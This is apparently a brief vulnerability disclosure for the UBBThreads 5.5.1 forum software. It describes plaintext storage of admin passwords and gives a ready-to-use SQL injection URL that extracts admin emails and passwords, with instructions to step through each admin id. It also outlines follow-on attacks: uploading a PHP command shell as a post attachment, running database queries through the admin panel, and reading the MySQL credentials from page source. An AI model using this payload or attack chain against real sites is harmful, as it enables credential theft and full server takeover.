Background:

SQL injection has previously been discovered
(http://www.securityfocus.com/bid/14052/)
New Details:
------------
UBBThreads is nice enough to encrypt/mask the regular users' passwords in the
database, but stores the admin users' passwords plaintext!
Vulnerable Versions:
--------------------
Tested on version 5.5.1, others may be vulnerable
Admin Login SQL Injection
-------------------------
http://www.website.com/ubbthreads/viewmessage.php?Cat=&message=-99%20UNION%20SELECT%20null,email,password,0,0%20FROM%20admin_users%20WHERE%20id=1/*&status=N&box=received
++ Email is in From: field of forum post
++ Password is text body of post
++ Increment the "id" to obtain each admin's credentials (1, 2, 3, etc.)
Admin login:
------------
http://www.website.com/Admin/login.php
$query = "SELECT * FROM admin_users WHERE email = '$email' AND password =
'$password'";
Other Avenues for Attack:

++ Turn on file attachments via /ubbthreads/admin/editconfig.php?Cat= and then
upload a php command shell as an attachment to a post ;)
++ Query MySQL database via /ubbthreads/admin/dbcommand.php?Cat=
++ Get MySQL username/password (it is plaintext) - view HTML Source of
/ubbthreads/admin/editconfig.php?Cat=
